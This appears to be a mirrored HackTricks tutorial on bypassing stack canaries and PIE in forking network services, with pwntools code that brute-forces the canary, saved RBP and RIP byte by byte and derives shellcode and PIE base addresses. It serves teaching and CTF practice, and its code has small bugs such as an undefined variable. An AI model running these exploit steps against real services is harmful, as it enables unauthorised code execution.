mirror of
https://github.com/carlospolop/hacktricks
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90 lines
4 KiB
Markdown
90 lines
4 KiB
Markdown
# Bypassing Canary & PIE
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**If you are facing a binary protected by a canary and PIE \(Position Independent Executable\) you probably need to find a way to bypass them.**
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## Canary
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The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it \(network service\), because every time you connect to it **the same canary will be used**.
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Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary \(x64\)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server \(another way in **other situation** could be using a **try/except**\):
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```python
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from pwn import *
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def connect():
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r = remote("localhost", 8788)
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def get_bf(base):
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canary = ""
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guess = 0x0
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base += canary
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while len(canary) < 8:
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while guess != 0xff:
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r = connect()
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r.recvuntil("Username: ")
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r.send(base + chr(guess))
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if "SOME OUTPUT" in r.clean():
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print "Guessed correct byte:", format(guess, '02x')
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canary += chr(guess)
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base += chr(guess)
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guess = 0x0
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r.close()
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break
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else:
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guess += 1
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r.close()
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print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
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return base
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canary_offset = 1176
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base = "A" * canary_offset
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print("Brute-Forcing canary")
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base_canary = get_bf(base) #Get yunk data + canary
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CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
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```
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## PIE
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In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.
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For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes \(x64\) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
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To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
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```python
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print("Brute-Forcing RBP")
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base_canary_rbp = get_bf(base_canary)
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RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
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print("Brute-Forcing RIP")
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base_canary_rbp_rip = get_bf(base_canary_rbp)
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RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
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```
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### Get base address
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The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
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From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
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```python
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INI_SHELLCODE = RBP - 1152
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```
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From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.
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To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
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In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf**_ the base address is _0x562002970**000**_
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```python
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elf.address = RIP - (RIP & 0xfff)
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```
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